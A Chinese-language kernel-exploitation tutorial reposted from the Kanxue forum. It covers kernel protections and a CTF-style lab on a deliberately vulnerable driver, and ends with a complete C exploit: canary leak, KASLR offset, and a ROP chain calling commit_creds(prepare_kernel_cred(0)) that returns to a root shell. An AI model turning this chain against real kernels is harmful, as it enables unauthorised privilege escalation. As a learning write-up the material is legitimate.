Linux Kernel Pwn_0_kernel ROP與驅動調試

2021-02-13 看雪學院

本文為看雪論優秀文章

看雪論壇作者ID:Ta1pax0s

title:Linux Kernel pwn(0)——kernel ROP
date:2020-07-12 13:31:38
tags:
categories:kernelcover:
https://s1.ax1x.com/2020/07/14/UNnv1P.png


內核保護相關

SMAP/SMEPSMAP(Supervisor Mode Access Prevention,管理模式訪問保護)和SMEP(Supervisor Mode Execution Prevention,管理模式執行保護)的作用分別是禁止內核訪問用戶空間的數據和禁止內核執行用戶空間的代碼。arm裡面叫PXN(Privilege Execute Never)和PAN(Privileged Access Never)。SMEP類似於前面說的NX,不過一個是在內核態中,一個是在用戶態中。和NX一樣SMAP/SMEP需要處理器支持,可以通過cat /proc/cpuinfo查看,在內核命令行中添加nosmap和nosmep禁用。Windows系統從win8開始啟用SMEP,Windows內核枚舉哪些處理器的特性可用,當它看到處理器支持SMEP時通過在CR4寄存器中設置適當的位來表示應該強制執行SMEP,可以通過ROP或者jmp到一個RWX的內核地址繞過。linux內核從3.0開始支持SMEP,3.7開始支持SMAP。
在沒有SMAP/SMEP的情況下把內核指針重定向到用戶空間的漏洞利用方式被稱為ret2usr。physmap是內核管理的一塊非常大的連續的虛擬內存空間,為了提高效率,該空間地址和RAM地址直接映射。RAM相對physmap要小得多,導致了任何一個RAM地址都可以在physmap中找到其對應的虛擬內存地址。另一方面,我們知道用戶空間的虛擬內存也會映射到RAM。這就存在兩個虛擬內存地址(一個在physmap地址,一個在用戶空間地址)映射到同一個RAM地址的情況。也就是說,我們在用戶空間裡創建的數據,代碼很有可能映射到physmap空間。基於這個理論在用戶空間用mmap()把提權代碼映射到內存,然後再在physmap裡找到其對應的副本,修改EIP跳到副本執行就可以了。因為physmap本身就是在內核空間裡,所以SMAP/SMEP都不會發揮作用。這種漏洞利用方式叫ret2dir。
簡單來講就是隔離了內核和用戶空間,內核沒法用用戶空間的代碼。Stack protector當然在內核中也是有這種防護的,編譯內核時設置CONFIG_CC_STACKPROTECTOR選項即可,該補丁是Tejun Heo在09年給主線kernel提交的。2.6.24:首次出現該編譯選項並實現了x64平臺的進程上下文棧保護支持。2.6.30:新增對內核中斷上下文的棧保護和對x32平臺進程上下文棧保護支持。3.14:對該功能進行了一次升級以支持gcc的-fstack-protector-strong參數,提供更大範圍的棧保護關於函數返回地址的問題屬於CFI(Control Flow Integrity,控制流完整性保護)中的後向控制流完整性保護。近幾年人們提出了safe-stack和shadow-call-stack引入一個專門存儲返回地址的棧替代Stack Protector,shadow-call-stack開銷更小一點。這項技術已經應用於android,而linux內核仍然在等待硬體的支持。
Kernel Address Display Restriction在linux內核漏洞利用中常常使用commit_creds和prepare_kernel_cred來完成提權,它們的地址可以從/proc/kallsyms中讀取。從Ubuntu 11.04和RHEL 7開始,/proc/sys/kernel/kptr_restrict被默認設置為1以阻止通過這種方式洩露內核地址。(非root用戶不可讀取)
KALSR內核地址隨機化,類似於用戶態的alsr,非默認開始。內核提權相關
方式一般調用commit_creds(prepare_kernel_cred(0))完成提權然後用戶態「著陸」起shell。cred結構體kernel用cred結構體記錄進程的權限(每個進程中都有一個cred結構),保存了進程權限相關信息(uid、gid),如果能修改這個cred,就完成了提權。
struct cred {    atomic_t    usage;#ifdef CONFIG_DEBUG_CREDENTIALS    atomic_t    subscribers;           /* number of processes subscribed */    void        *put_addr;    unsigned    magic;#define CRED_MAGIC  0x43736564#define CRED_MAGIC_DEAD 0x44656144#endif    kuid_t      uid;                   /* real UID of the task */    kgid_t      gid;                   /* real GID of the task */    kuid_t      suid;                  /* saved UID of the task */    kgid_t      sgid;                  /* saved GID of the task */    kuid_t      euid;                  /* effective UID of the task */    kgid_t      egid;                  /* effective GID of the task */    kuid_t      fsuid;                 /* UID for VFS ops */    kgid_t      fsgid;                 /* GID for VFS ops */    unsigned    securebits;            /* SUID-less security management */    kernel_cap_t    cap_inheritable;   /* caps our children can inherit */    kernel_cap_t    cap_permitted;     /* caps we're permitted */    kernel_cap_t    cap_effective;     /* caps we can actually use */    kernel_cap_t    cap_bset;          /* capability bounding set */    kernel_cap_t    cap_ambient;       /* Ambient capability set */#ifdef CONFIG_KEYS    unsigned char   jit_keyring;       /* default keyring to attach requested    /* keys to */    struct key __rcu *session_keyring; /* keyring inherited over fork */    struct key  *process_keyring;      /* keyring private to this process */    struct key  *thread_keyring;       /* keyring private to this thread */    struct key  *request_key_auth;     /* assumed request_key authority */#endif#ifdef CONFIG_SECURITY    void        *security;             /* subjective LSM security */#endif    struct user_struct *user;          /* real user ID subscription */    struct user_namespace *user_ns;    /* user_ns the caps and keyrings are relative to. */    struct group_info *group_info;     /* supplementary groups for euid/fsgid */    struct rcu_head rcu;               /* RCU deletion hook */} __randomize_layout;

狀態切換


user2kernl:
ENTRY(entry_SYSCALL_64)    /*     * Interrupts are off on entry.     * We do not frame this tiny irq-off block with TRACE_IRQS_OFF/ON,     * it is too small to ever cause noticeable irq latency.     */    SWAPGS_UNSAFE_STACK //swapgs    /*     * A hypervisor implementation might want to use a label     * after the swapgs, so that it can do the swapgs     * for the guest and jump here on syscall.     */GLOBAL(entry_SYSCALL_64_after_swapgs)
movq %rsp, PER_CPU_VAR(rsp_scratch) movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp
TRACE_IRQS_OFF
/* Construct struct pt_regs on stack */ pushq $__USER_DS /* pt_regs->ss */ pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */ pushq %r11 /* pt_regs->flags */ pushq $__USER_CS /* pt_regs->cs */ pushq %rcx /* pt_regs->ip */ pushq %rax /* pt_regs->orig_ax */ pushq %rdi /* pt_regs->di */ pushq %rsi /* pt_regs->si */ pushq %rdx /* pt_regs->dx */ pushq %rcx /* pt_regs->cx */ pushq $-ENOSYS /* pt_regs->ax */ pushq %r8 /* pt_regs->r8 */ pushq %r9 /* pt_regs->r9 */ pushq %r10 /* pt_regs->r10 */ pushq %r11 /* pt_regs->r11 */ sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */
/* * If we need to do entry work or if we guess we'll need to do * exit work, go straight to the slow path. */ movq PER_CPU_VAR(current_task), %r11 testl $_TIF_WORK_SYSCALL_ENTRY|_TIF_ALLWORK_MASK, TASK_TI_flags(%r11) jnz entry_SYSCALL64_slow_path

1.swapgs切換到kernel GS

2.保存棧值,設置內核棧#define PER_CPU_VAR(var) %__percpu_seg:var其中%__percpu_seg是GS

3.壓棧保存寄存器

4.判斷類型

5.通過系統調用號跳轉

entry_SYSCALL64_slow_path:  /* IRQs are off. */  SAVE_EXTRA_REGS  movq    %rsp, %rdi  call    do_syscall_64        /* returns with IRQs disabled */

kernel2user1.swapgs恢復GS
2.iretq(加上寄存器信息)或sysretq


1.boot.sh:內核啟動腳本;
qemu-system-x86_64 \        "默認使用qemu啟動"-kernel bzImage \           "Linux內核鏡像文件"-initrd rootfs.img \        "打包後的文件系統"-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet" \        "啟動界面為終端、內存文件系統RamDisk、"-cpu qemu64,+smep,+smap \   "開啟了smap、smep機制,這意味著,內核態裡面不能直接訪問用戶態的數據,而應該拷貝到內核的空間;內核態不能執行用戶空間的代碼,否則會觸發頁錯誤"-nographic \                "非圖形界面"

2.bzImage:Linux內核鏡像文件;

3.rootfs.img:打包後的文件系統;

4.rop.ko:有漏洞的驅動文件;

5.vmlinux:vmlinux是未壓縮的內核,vmlinux 是ELF文件,即編譯出來的最原始的文件。用於kernel-debug,產生system.map符號表,不能用於直接加載,不可以作為啟動內核。只是啟動過程中的中間媒體。

-cpu kvm64,+smep,+smap 設置 CPU的安全選項, 這裡開啟了 smap 和 smep
-kernel 設置內核 bzImage 文件的路徑
-initrd 設置(利用 busybox 創建的 )rootfs.img ,作為內核啟動的文件系統
-gdb tcp::1234 設置 gdb 的調試埠 為 1234




首先要對打包後的文件系統進行處理解包:
cp rootfs.img rootfs.cpiomkdir corecd coremv ../rootfs.cpio ./cpio -idmv < rootfs.cpio

現在在文件夾目錄下有一個core目錄,裡面就是文件系統了。效果如下:這裡要注意一下gen.sh他是用來打包文件系統的腳本並生成rootfs.img如下:
find .| cpio -o --format=newc > ../rootfs.img查看開機自啟動腳本 core/etc/init.d:
#!/bin/shmount -t proc none /procmount -t sysfs none /sys
echo /sbin/mdev > /proc/sys/kernel/hotplug/sbin/mdev -s
insmod /home/pwn/rop.ko
chmod -R 111 /binchmod -R 111 /usr/binchmod -R 111 /sbincat /proc/kallsyms > /tmp/kallsyms # 當/proc/sys/kernel/kptr_restrict=1時,普通用戶不能通過/proc/kallsyms讀取函數地址,為減少難度直接將kallsyms內容寫入臨時目錄chmod 666 /tmp/kallsyms
chown -R 1000:1000 /home/pwn
chown 0:0 /flagchmod 700 /flag
chmod 666 /dev/rop_dev
cd /home/pwnsetsid cttyhack setuidgid 1000 sh
umount /procumount /syspoweroff -d 0 -f

這裡把/proc/kallsyms拷貝到/tmp/kallsyms裡,並且設置了sid和uidgid,明顯不是root用戶的。
rop.ko文件
void __cdecl dangerous(size_t num){char overflow[16]; // [rsp+8h] [rbp-18h]unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readgsqword(0x28u);*(_QWORD *)overflow = 0LL;*(_QWORD *)&overflow[8] = 0LL;printk(&unk_37F, v2); // 打出canarymemcpy(overflow, kernel_buf, num);}



查看kaslr與基地址偏移


1.啟動起來後執行cat /tmp/kallsyms | grep startup_64得到:ffffffff89e00000 T startup_64。
若此時startup_64不為0xffffffff81000000則差值就是內核基地址的加載偏移
2.得到prepare_kernel_cred地址ffffffff89e834b0 T prepare_kernel_cred

3.得到commit_creds地址ffffffff89e83190 T commit_creds
用戶態與內核態的切換
size_t user_cs, user_ss, user_rflags, user_sp;  //保存用戶態寄存器狀態void save_status(){    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;"            );}

內核態返回用戶態:swapgs指令通過用一個MSR中的值交換GS寄存器的內容,用來獲取指向內核數據結構的指針,然後才能執行系統調用之類的內核空間程序。
|--|| RIP                  |<== low mem|--|| CS                   ||--|| EFLAGS               ||--|| RSP                  ||--|| SS                   |<== high mem|--|

新的用戶空間指令指針(RIP),用戶空間堆棧指針(RSP),代碼和堆棧段選擇器(CS和SS)以及具有各種狀態信息的EFLAGS寄存器。ROPgadget


ROPgadget --binary vmlinux > rop_gadget查找vmlinux的ropgadget;objdump -d vmlinux -M intel | grep -E 'mov rdi|rax' > gadget或者直接dump出來,這樣比較多;之前找了一條gadget0xffffffff810f1243 : mov rdi, rax ; test rax, rax ; jne 0xffffffff810f1220 ; ret結果發現根本不能用,原因在於rax此時是指向新cred的指針(必不為零)test之後zf=0,jne一定會跳轉,ret回不來;最後找到0xffffffff810f1243 : mov rdi, rax ; test rax, rax ; jne 0xffffffff810f1220 ; ret然後補一條0xffffffff8101647d : test al, 1 ; ret。
|--|| pop rdi; ret         |<== low mem|--|| NULL                 ||--|| addr of              || prepare_kernel_cred()||--|| test al, 1 ; ret     ||--||mov rdi, rax          ||test rax, rax         ||jne 0xffffffff810f1220||   ret                ||--|| addr of              || commit_creds()       ||--|| swapgs;              || pop rbp; ret         ||--| | NULL                 ||--|     | iretq;               ||--|| shell                ||--|| user_CS              ||--|| user_EFLAGS          ||--|| user_RSP             ||--|| user_SS              |<== high mem|--|

查找iretq發現ROPgadget中找不到iretq,在這裡直接去搜索48 CF找到iretq。
自己寫了一個小sh文件:
gcc exp.c -masm=intel -static -o exp &&cp exp ./core/home/pwn/ &&cd core/    &&sh gen.sh &&echo "success!" &&cd ../ &&sh boot.sh

注意這裡一定要做靜態編譯,因為內核中沒有glibc這些玩意。向驅動中的函數下斷點vmlinux本身是去掉符號表的,但我們想斷在驅動中的函數。cat /proc/modules | grep rop拿到相關地址。也可通過lsmod或cat /sys/module/rop/section/.text。得到rop 16384 0 - Live 0x12345。然後在gdb窗口中:add-symbol-file ./rop.ko 0x12345。接下來就可以直接斷在驅動中的函數裡了。
但是經過我實際測試,這三個應該效果是一樣的,但你必須修改rcS啟動腳本以root啟動,才能看到真正的地址要不然就是0x000000000。


#define _GNU_SOURCE#include <stdio.h>#include <pthread.h>#include <unistd.h>#include <stdlib.h>#include <sys/ioctl.h>#include <sys/types.h>#include <sys/stat.h>#include <fcntl.h>#include <string.h>#define N 256

size_t user_cs, user_ss, user_rflags, user_sp; //保存用戶態寄存器狀態void save_status(){ __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" );}
void shell(){ printf("root"); system("/bin/sh");}
size_t get_addr(char *name){ char cmd[N]; FILE *f; size_t info; memset(cmd,0,256); strcat(cmd,"cat /tmp/kallsyms | grep "); strcat(cmd,name); strcat(cmd," >"); strcat(cmd," "); strcat(cmd,name); //printf("execute: %s\n",cmd); system(cmd);
f = fopen(name,"r"); if(!f){ printf("fopen error!\n"); exit(-1); } fscanf(f,"%lx",&info); printf("%s : %lx\n",name,info); fclose(f); return info;}
size_t get_canary(){ FILE *f; size_t info; char *name = "canary"; system("dmesg | grep canary > canary"); f = fopen(name,"r"); if(!f){ printf("fopen error!\n"); exit(-1); } fseek(f,strlen("[ 32.050924] canary is "),SEEK_SET); fscanf(f,"%lx",&info); printf("%s : %lx\n",name,info); fclose(f); return info;}
void *rop(size_t *rop,size_t offset,size_t prepare_kernel_cred,size_t commit_creds){ int i=0; rop[i++] = 0xffffffff810013a8 + offset; //pop rdi; rop[i++] = 0; rop[i++] = prepare_kernel_cred;
rop[i++] = 0xffffffff8101647d + offset; // 0xffffffff8101647d : test al, 1 ; ret rop[i++] = 0xffffffff8138e454 + offset; // 0xffffffff810f1243 : mov rdi, rax ; test rax, rax ; jne 0xffffffff810f1220 ; ret //A pointer to the new cred struct will be stored in %rax which can then be moved to %rdi again and passed as the first argument to commit_creds().
rop[i++] = commit_creds; rop[i++] = 0xffffffff81c00d5a + offset; // swapgs ; popfq ; ret rop[i++] = 0x0; rop[i++] = 0xffffffff81021d02 + offset; // iretq rop[i++] = (size_t)shell; //rip rop[i++] = user_cs; rop[i++] = user_rflags; rop[i++] = user_sp; rop[i++] = user_ss;
}

int main(){ size_t startup_64,prepare_kernel_cred,commit_creds,offset,canary; save_status(); startup_64 = get_addr("startup_64"); prepare_kernel_cred = get_addr("prepare_kernel_cred"); commit_creds = get_addr("commit_creds"); offset = startup_64 - 0xffffffff81000000; printf("offset : %lx\n",offset); int fd = open("/dev/rop_dev",O_WRONLY); if(fd<0){ printf("open error!\n"); exit(-2); } size_t payload[0x10] = {0x1}; write(fd,payload,0x10); write(fd,payload,0x10); //雙寫打出canary(緩衝區) canary = get_canary(); printf("size_t : %ld\n",sizeof(size_t));


size_t payload2[20]={0}; payload2[0] = 0x6161616161616161; payload2[1] = 0x6161616161616161; // 0x10 payload2[2] = canary; save_status(); rop(&payload2[3],offset,prepare_kernel_cred,commit_creds); printf("start to pwn >\n"); write(fd,payload2,17*8); printf("over!\n"); return 0;}



https://blog.csdn.net/u013686019/article/details/26846571/
https://www.anquanke.com/post/id/172216
https://www.povcfe.site/2020/05/16/kernel-rop/
https://xz.aliyun.com/t/2306
https://xz.aliyun.com/t/2054?accounttraceid=913e28d0aee642b792d6762fbc95e68ahnaw
安全防護機制
https://bbs.pediy.com/thread-226696.htm



看雪ID:Ta1pax0s

https://bbs.pediy.com/user-home-876323.htm

  *本文由看雪論壇 Ta1pax0s 原創,轉載請註明來自看雪社區。

地點:上海浦東喜來登由由酒店  2樓大宴會廳

我們不見不散!

相關焦點

  • Linux Kernel Pwn 學習筆記 (UAF)
    (在linux kernel pwn裡面一般開了多線程就很有可能是利用條件競爭)。cred:當我們fork一個新的進程的時候會產生cred結構體,在task_struct中大小為0xa8,注意當cred的uid,gid為0的話,我們就提權成功。
  • Linux Kernel Pwn_2_Kernel UAF
    提取.ko文件解壓出來並沒有我們想要的驅動文件,需要我們手動提取。#!/bin/sh# SPDX-License-Identifier: GPL-2.0-only# # extract-vmlinux - Extract uncompressed vmlinux from a kernel image## Inspired from extract-ikconfig# (c) 2009,2010 Dick Streefland <dick@streefland.net
  • PWN路由器之環境搭建
    感覺路由器這塊就是固件提取,運行環境修複比較麻煩,其他部分和一般的 pwn 差不多。由於大多數路由器是 mips 架構的,本文就以搭建MIPS運行、調試平臺 為例介紹環境的搭建。其他架構類似。auto eth0 iface eth0  inet manual up ifconfig eth0  0.0.0.0 up auto br0iface br0 inet dhcp bridge_ports eth0 bridge_stp off bridge_maxwait 1修改 /etc/qemu-ifup#!
  • Centos7升級kernel
    ELRepo 聚焦於和硬體相關的軟體包,包括文件系統驅動、顯卡驅動、網絡驅動、音效卡驅動和攝像頭驅動等。linux image: /boot/vmlinuz-3.10.0-862.11.6.el7.x86_64Found initrd image: /boot/initramfs-3.10.0-862.11.6.el7.x86_64.imgFound linux image: /boot/vmlinuz-3.10.0-514.el7.x86_64Found initrd image: /boot/initramfs
  • 基本ROP講解
    在深入了解之前,先從一個例子rop(https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall/rop)中快速過一下方法 IDA中查看偽代碼int __cdecl main(int argc
  • 新手玩轉Linux Kernel漏洞之Null Pointer Dereference
    #include <linux/module.h>#include <linux/kernel.h>#include <linux/proc_fs.h> void (*my_funptr)(void); int bug1_write(struct file* file, const
  • 在 Linux Mint 安裝 Linux Kernel 4.12(穩定版)
    TerminalShekin@mylinuxmintpc~$sudo apt-add-repository -y ppa:teejee2008/ppa sudo apt-get updatesudo apt-get install ukuu提醒:所有的 Nvidia/AMD 電腦用戶, 在安裝內核之前,建議切換到 free 版本的驅動
  • Linux Kernel 4.8.13 正式版發布
    已經升級的4.8.y git tree可以在git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git linux-4.8.y中找到,或者通過網頁瀏覽器訪問kernel.org網站:http://git.kernel.org/?
  • Linux Kernel 5.8.1 發布,可以大規模採用了
    來自:Linux迷  https://www.linuxmi.com/linux-kernel-5-8-1.html‍
  • Linux Kernel Rootkit 1
    概述rootkit目的:Linux rootkit 可以通過兩種方式破壞內核執行惡意操作:加載內核模塊Linux 內核(和許多其他作業系統)可以在運行時加載內核模塊(例如設備驅動程序)。主要指bios rootkit,可以在系統加載前獲得控制權,通過向磁碟中寫入文件,再由引導程序加載該文件重新獲得控制權,也可以採用虛擬機技術,使整個作業系統運行在rootkit掌握之中http://www.rootkitanalytics.com/firmware/hypervisor.phphttp://www.rootkitanalytics.com/kernelland/linux-kernel-rootkit.php
  • CVE-2020-8835: Linux Kernel 信息洩漏/權限提升漏洞分析
    起初是用於捕獲和過濾特定規則的網絡數據包,現在也被用在防火牆,安全,內核調試與性能分析等領域。eBPF程序的運行過程如下:在用戶空間生產eBPF「字節碼」,然後將「字節碼」加載進內核中的「虛擬機」中,然後進行一些列檢查,通過則能夠在內核中執行這些「字節碼」。類似Java與JVM虛擬機,但是這裡的虛擬機是在內核中的。
  • linux kernel內存映射實例分析
    嵌入式linux QQ交流群:175159209,歡迎愛好者加入交流技術問題!
  • 升級Linux Kernel測試TCP BBR
    EPEL現在已經提供4.9的kernel了,所以使用EPEL的repo升級kernel也就變得非常簡單了,如果你的linux還沒有添加EPEL repo,那只需要按照下述步驟加入就行了# rpm --import
  • Linux內核堆噴(Linux Kernel Heap Spray)
    ancillary data buffer length */ unsigned int msg_flags; /* flags on received message */ struct kiocb *msg_iocb; /* ptr to iocb for async requests */};https://elixir.bootlin.com/linux
  • Linux pwn入門學習到放棄
    ASLR在linux中使用此技術後,殺死某程序後重新開啟,地址就會會改變在Linux上 關閉ASLR,切換至root用戶,輸入命令echo 0 > /proc/sys/kernel/randomize_va_space開啟ASLR,切換至root用戶,輸入命令
  • Pixel 2 刷8.0.0/8.1.0 AOSP +4.4 Kernel
    AOSP對應版本:android-8.0.0_r342. kernel對應版本:remotes/origin/android-msm-wahoo-4.4-oreo-dr13. image+bootloader版本:walleye-opd3.170816.023-factory-f269631e4. vendor:Pixel 2 binaries for Android 8.0.0 (OPD3.170816.023
  • Kernel Crypto框架
    實現數據安全保護的基礎是【密鑰 + 加密算法】;對於加密算法,kernel其實早在linux-2.5.45版本中就引入了crypto基礎能力。本篇文章主要講關於kernel crypto算法框架,以及結合它在文件系統加密這一場景中的應用,分析內部的實現細節,以便讀者對crypto框架有相關的認識,並能基於它做開發。
  • CentOS 7 系統上安裝 Kernel 4.0
    Kernel 4.0 已經在上周發布,帶來了重大的變化,驅動程序更新,支持新的設備和增強文件系統功能;另外就是帶來用戶期待已久的功能就是:用戶更新內核時
  • Android kernel列印級別
    頭文件:linux/kern_levels.h#define KERN_SOH "\001"
  • Finding real-world kernel subsystems
    People wanting to understand how kernel development works could benefit from a clearer idea of what actually comprises a subsystem within the kernel.